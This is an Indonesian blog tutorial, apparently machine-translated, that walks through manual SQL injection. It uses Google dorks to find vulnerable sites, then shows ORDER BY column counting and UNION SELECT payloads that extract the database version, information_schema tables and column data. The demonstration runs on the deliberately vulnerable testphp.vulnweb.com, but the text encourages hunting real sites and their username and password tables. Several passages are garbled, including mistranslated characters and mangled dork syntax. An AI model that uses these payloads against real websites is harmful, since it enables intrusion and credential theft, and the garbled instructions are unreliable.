Pengguna SQL Injection - Tutorial Dasar Untuk Hack Website

chmood

Dalam posting ini kita akan hack sebuah situs web dan mendapatkan data dengan menggunakan serangan injeksi SQL. Kami tidak akan menggunakan alat apapun. Ini adalah salah satu dari beberapa tuts di blog ini yang Anda tidak perlu Kali Linux. Anda dapat dengan mudah melaksanakannya dari mesin Windows pada setiap browser normal. Jika Anda perlu untuk mendapatkan gambaran besar dari apa serangan injeksi SQL sebenarnya, lihatlah tutorial ini pada Cara Hack Website Menggunakan Sql Peta di Kali Linux - SQL Injection

Mencari Website Rentan

Langkah pertama adalah jelas menemukan situs rentan. Ada banyak cara untuk melakukannya. metode yang paling umum dari pencarian adalah dengan menggunakan Dorks.

Dorks

Dorks adalah permintaan masukan ke mesin pencari (Google) yang mencoba untuk menemukan situs web dengan teks yang diberikan disediakan dalam dork itu sendiri. Pada dasarnya hal ini membantu Anda untuk menemukan situs web dengan kode tertentu di url mereka yang Anda tahu adalah tanda kerentanan.

Definisi yang lebih spesifik bisa "pencarian lanjutan Google digunakan untuk menemukan celah keamanan pada website dan memungkinkan hacker untuk masuk ke atau mengganggu situs." (dari 1337mir)

Menggunakan Dorks

Sekarang pada dasarnya apa yang konyol yang dilakukan adalah menggunakan "inurl" perintah Google untuk kembali situs yang memiliki satu set spesifik kata rentan di url. Untuk itu, kita perlu tahu mana kata-kata dalam url membuat website berpotensi rentan terhadap serangan SQL injection. Banyak situs menawarkan daftar lengkap google Dorks. Sebagai contoh, situs l33tmir memiliki daftar ratusan google Dorks. Namun, kreativitas adalah alat terbaik Anda ketika datang untuk mencari situs rentan, dan setelah berlatih dengan beberapa Dorks google, Anda akan dapat membuat sendiri. Beberapa Dorks telah tercantum di bawah ini. Apa yang harus Anda lakukan adalah menyisipkan mereka ke dalam kotak pencarian google dan google akan kembali situs yang rentan. CATATAN: Tidak keberatan root @ kali: ~ # balik kode. Saya telah menerapkan ini pada semua kode di blog saya, dan mayoritas itu benar-benar di Kali Linux sehingga masuk akal ada tapi tidak di sini.

inurl: "? products.php prodID ="


Kategori buy.php =: inurl?


Apa yang harus Anda perhatikan di sini adalah struktur perintah. Inurl menginstruksikan google untuk melihat URL di dalamnya indeks pencarian dan memberikan kami yang yang memiliki garis tertentu di dalamnya. Di dalam tanda kutip adalah URL khusus yang akan kita harapkan untuk melihat di website rentan. Semua situs rentan pasti akan memiliki php di URL mereka, karena merupakan indikator bahwa website ini menggunakan database SQL di sini. Setelah tanda tanya Anda akan memiliki? Sesuatu = klausa. Apa yang ada setelah = akan kode kita yang diketahui menyebabkan gangguan fungsi database dan melakukan serangan SQL Injection.

Setelah Anda telah menggunakan dork, Anda memiliki daftar situs yang rentan. Sebagian besar dari mereka meskipun, mungkin tidak rentan (yaitu tidak seperti yang Anda ingin mereka menjadi, mereka mungkin masih memiliki beberapa kerentanan Anda tidak tahu tentang belum). Langkah kedua adalah menemukan situs sebenarnya rentan dari daftar yang mungkin.

Pengujian situs untuk kerentanan

Sekarang mari kita asumsikan kita menggunakan dork pertama, yaitu products.php? ProdID =. Kami kemudian datang di www.site.com/products.php?prodID=25 situs. Sekarang kita harus memeriksa apakah situs yang rentan atau tidak. Ini cukup sederhana. Yang harus Anda lakukan adalah memasukkan tanda bintang 'pada akhir url bukannya 25. url akan terlihat agak seperti www.site.com/products.php?prodID= ini'

Jika Anda beruntung, maka situs akan rentan. Jika ya, maka akan ada sebuah beberapa jenis kesalahan muncul, yang akan memiliki kata-kata seperti "Tidak ditemukan", "Table", "Database", "Row", "Kolom", "Sql", "Mysql" atau apapun yang berhubungan dengan database. Dalam beberapa kasus, tidak akan ada kesalahan, tapi akan ada beberapa mengamuk / perilaku tak terduga pada halaman, seperti beberapa komponen tidak muncul dengan benar, dll

Sebuah pesan kesalahan yang khas

Tapi sekarang Anda hanya tahu bahwa situs tersebut rentan. Anda masih harus menemukan yang colums / baris rentan.

Menemukan jumlah kolom / baris

Sekarang kita perlu menemukan jumlah kolom dalam tabel. Untuk ini, kita akan menggunakan metode trial and error, dan menjaga pernyataan incrementing jumlah kolom mengeksekusi sampai kita mendapatkan pesan error.

www.site.com/products.php?prodID=25+order+by+1

Efektif, kami menambahkan order by 1 sampai akhir url asli. Jika ada minimal satu kolom dalam tabel, maka halaman akan terus bekerja baik-baik. Jika tidak, maka kesalahan akan ditampilkan. Anda dapat terus meningkatkan jumlah kolom sampai Anda mendapatkan error. Mari kita asumsikan Anda mendapatkan error untuk

www.site.com/products.php?prodID=25+order+by+6

Ini berarti bahwa halaman memiliki 5 kolom, dan database tidak bisa menangani query ketika Anda meminta satu 6. Jadi sekarang Anda tahu dua hal

Situs ini rentan terhadap SQL injection
Ini memiliki 5 kolom


Sekarang Anda perlu tahu mana kolom rentan

Menemukan kolom Rentan

Sekarang mari kita asumsikan kita bekerja di situs kami hipotetis www.site.com yang memiliki 5 kolom. Kita sekarang perlu mengetahui mana yang kolom rentan. Kolom rentan memungkinkan kita untuk mengirimkan perintah dan permintaan ke database SQL melalui URL. Kita sekarang perlu menemukan yang mana dari kolom rentan. Untuk melakukan hal ini, masukkan berikut ke url

www.site.com/products.php?prodID=25+union+select+1,2,3,4,5

Dalam beberapa kasus, Anda mungkin perlu untuk menempatkan - belakang 25. Halaman yang sekarang akan memuat dengan benar, kecuali untuk sejumlah muncul di suatu tempat. Ini adalah kolom rentan. Catatan bawah.

Katakanlah refresh halaman dan menampilkan 2 pada halaman, sehingga 2 menjadi kolom rentan bagi kita untuk menyuntikkan ke dalam.

Sekarang kita tahu mana kolom rentan. Bagian selanjutnya adalah mendapatkan versi SQL, karena tutorial yang tersisa akan bervariasi tergantung pada versi SQL yang digunakan.

Penyatuan

Dari sini, hal-hal yang akan menjadi sulit jika Anda tidak bisa mengikuti apa yang saya lakukan. Jadi, kita akan bersatu di bawah satu situs Web. Website ini sengaja rentan terhadap SQL injection, dan akan terbukti sangat berguna karena kita akan melakukan hal yang sama. Tujuan memperkenalkan situs ini pada tahap berikutnya adalah untuk memberikan gambaran bagaimana menemukan situs rentan diri sendiri dan juga menemukan kolom rentan. Ini adalah apa yang akan berguna dalam kehidupan nyata. Namun, untuk membuat apa yang berikut relatif lebih mudah, kita semua akan sekarang hack website yang sama.

Website ini: http://testphp.vulnweb.com/

Kerentanan yang sebenarnya di sini: http://testphp.vulnweb.com/listproducts.php?cat=1

Perhatikan bahwa URL memiliki struktur yang sekarang Anda tahu dengan baik. Jika digunakan dengan benar, dork google bisa membawa kita ke situs ini juga. Sekarang kita akan mengganti 1 dengan tanda bintang β€˜


Ini adalah apa yang Anda halaman rentan seperti untuk memulai dengan


Seperti yang Anda bisa menebak, itu adalah rentan terhadap serangan SQL injection
Sekarang kita perlu menemukan jumlah kolom.

10 kolom. Tidak ada yang begitu jauh.


12 kolom. Kesalahan....

Jadi jika ada kesalahan pada kolom ke-12. Ini berarti ada 11 kolom Total. Jadi untuk menemukan kolom rentan, kita harus mengeksekusi -

http://testphp.vulnweb.com/listproducts.php?cat=1+union+select+1,2,3,4,5,6,7,8,9,10,11

Ini tidak kembali kesalahan. Seperti yang saya katakan sebelumnya, menambahkan tanda minus (-) setelah = dan sebelum 1 akan membantu.

http://testphp.vulnweb.com/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,11

Sekarang kita bisa melihat keseluruhan empat nomor pada halaman. 11,7,2 dan 9. Tidak akan sulit untuk mencari tahu mana dari mereka menggambarkan kolom rentan

Anda dapat melihat pada halaman

http://testphp.vulnweb.com/listproducts.php?cat=1+union+select+1,2,3,4,5,6,7,8,9,10, 11 (tidak ada tanda minus itu). Sekarang gulir ke bawah ke bawah. Anda akan melihat ini-

Membandingkan pic dengan dan tanpa kesalahan, kita dapat dengan mudah mengatakan bahwa elemen yang tak terduga di halaman tidak berfungsi adalah nomor 11. Kita dapat menyimpulkan bahwa kolom 11 adalah salah satu rentan. Semacam ini pemotongan membuat hacker sangat menarik dan mengingatkan Anda itu lebih tentang logika dan kreativitas dari itu tentang belajar kode tidak berguna.

Sekarang kita akhirnya di mana kami meninggalkan sebelum kami mengubah aliran kami. Kita perlu menemukan versi sql. Kadang-kadang bisa sangat rumit. Tapi mari kita berharap tidak dalam kasus ini.

Sekarang mendapatkan kode yang memberitahu Anda tentang kolom rentan dan mengganti kolom rentan (yaitu 11) dengan versi@@. Url akan terlihat seperti ini.

http://testphp.vulnweb.com/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,@
@version

Sekarang akhirnya Anda akan melihat sesuatu seperti



Server menggunakan Sql versi 5.1.69, kemungkinan besar MySQL (cukup umum). Juga kita tahu OS adalah Ubuntu.

Dan hal yang saya katakan tentang hal itu menjadi sulit kadang-kadang. Kadang-kadang server tidak memahami@@perintah versi langsung dan Anda perlu untuk mengubahnya. Anda akan perlu mengganti@@versi dengan mengkonversi (versi@@menggunakan latin1) atau unhex (hex (versi@@)).

Sekarang pengumpulan informasi bagian selesai. Kita harus pindah ke download yang sebenarnya dari tabel. Hanya menuliskan semua yang Anda tahu tentang database mereka, meja dan server. Anda harus memiliki rasa nyata prestasi jika Anda telah mengikuti tutorial sejauh ini. Bagian membosankan selalu membutuhkan motivasi maksimum dan tekad.

Penggalian tabel dari database SQL

Sekarang metode untuk mengekstrak data berbeda tergantung pada versi. Untungnya lebih mudah untuk versi 5, dan itulah apa yang Anda akan menemukan sebagian besar waktu, seperti yang terjadi saat ini. Semua data mengenai struktur tabel hadir dalam skema informasi. Ini adalah apa yang kita akan lihat pada awalnya.

Dalam permintaan kami yang kami digunakan untuk menemukan kolom rentan (yaitu testphp.vulnweb.com/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10 , 11), kami akan mengganti kolom rentan dengan table_name dan menambahkan awalan + dari information_schema.tables +.

Url akhir akan

http://testphp.vulnweb.com/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,table_name+from+information_schema.tables


Seperti yang Anda lihat, nama tabel adalah character_sets. Namun, ini hanya satu meja. Kita bisa mengganti table_name dengan group_concat (table_name) untuk mendapatkan semua tabel

http://testphp.vulnweb.com/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,group_concat(table_name)+from+information_schema.tables



Kami sekarang memiliki nama-nama semua tabel. Ini dia -

CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_SET_APPLICABILITY,
COLUM
NS,COLUMN_PRIVILEGES,ENGINES,EVENTS,FILES,GLOBAL_STATUS,GLOBAL
_VARIABLE
S,KEY_COLUMN_USAGE,PARTITIONS,PLUGINS,PROCESSLIST,PROFILING,
REFERENTIAL
_CONSTRAINTS,ROUTINES,SCHEMATA,SCHEMA_PRIVILEGES,SESSION_
STATUS,SESSIO
N_VARIABLES,STATISTICS,TABLES,TABLE_CONSTRAINTS,TABLE_PRIVIL


Seperti yang Anda lihat, akhir dari tabel terakhir tidak lengkap. Untuk memperbaiki ini, Anda dapat memodifikasi akhir url untuk sesuatu seperti + dari information_schema.tables + + mana + table_schema = database ()

Mendapatkan kolom

Hal ini mirip dengan memperoleh meja, selain fakta bahwa kita akan menggunakan information_schema.columns bukan information_schema.tables, dan beberapa kolom bukan hanya satu menggunakan concat kelompok yang sama. Kami juga harus menentukan tabel untuk digunakan dalam hex. Kami akan menggunakan peristiwa tabel (saya sudah disorot itu di atas juga). Di hex itu kode 4556454e5453 (Anda dapat menggunakan teks untuk hex converter - juga awalan 0x balik kode sebelum memasuki itu). Kode akhir akan menjadi-

http://testphp.vulnweb.com/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,group_concat(column_name)
+from+information_schema



Halaman tidak ditampilkan dengan benar, ini berarti bahwa permintaan kami baik-baik saja. Kurangnya data adalah karena fakta bahwa tabel sebenarnya kosong. Kami harus bekerja dengan beberapa meja lain sekarang. Jangan biarkan kegagalan ini menurunkan motivasi Anda.

Namun, keberuntungan kami akhirnya mengkhianati kita, dan selama ini kami telah membuang-buang waktu di meja kosong. Jadi kita harus melihat beberapa meja lain sekarang, dan kemudian melihat apa yang kolom yang meja memiliki. Jadi, saya melihat di meja pertama dalam daftar, CHARACTER_SETS dan kolom CHARACTER_SET_NAME pertama. Sekarang akhirnya kita memiliki kode akhir-asumsi

http://testphp.vulnweb.com/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,group_concat(CHARACTER_SET_NAME)
+from+information_schema.CHARACTER_SETS



Tabel ini memiliki banyak data, dan kami memiliki semua nama character_sets.
Jadi akhirnya sekarang Anda memiliki data dari CHARACTER_SET_NAME kolom dari tabel CHARACTER_SETS. Dengan cara yang sama Anda dapat pergi melalui tabel dan kolom lainnya. Ini akan pasti lebih menarik untuk melihat melalui tabel yang namanya terdengar seperti 'PENGGUNA' dan kolom memiliki nama 'USERNAME' dan 'PASSWORD'. Saya akan menunjukkan cara untuk mengatur hasil dengan cara yang sedikit lebih baik dan menampilkan beberapa kolom sekaligus. Query ini akan mengembalikan Anda data dari 4 kolom, dipisahkan oleh titik dua (:) yang kode hex adalah 0x3a.

http://testphp.vulnweb.com/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,group_concat
(CHARACTER_SET_NAME,0x3a,DEFAULT_COLLATE_NAME,0x3a,DESCRIPTION
,0x3a,MAXLEN)+from+information_schema.CHARACTER_SETs





Akhirnya teman telah berhasil melakukan serangan injeksi sql dalam cara yang paling sulit mungkin tanpa menggunakan alat apapun sama sekali. Kami akan segera membahas beberapa alat yang membuat seluruh proses jauh lebih mudah. Namun, tidak ada untungnya untuk menggunakan alat jika teman tidak tahu apa yang sebenarnya mereka lakukan.
Komentar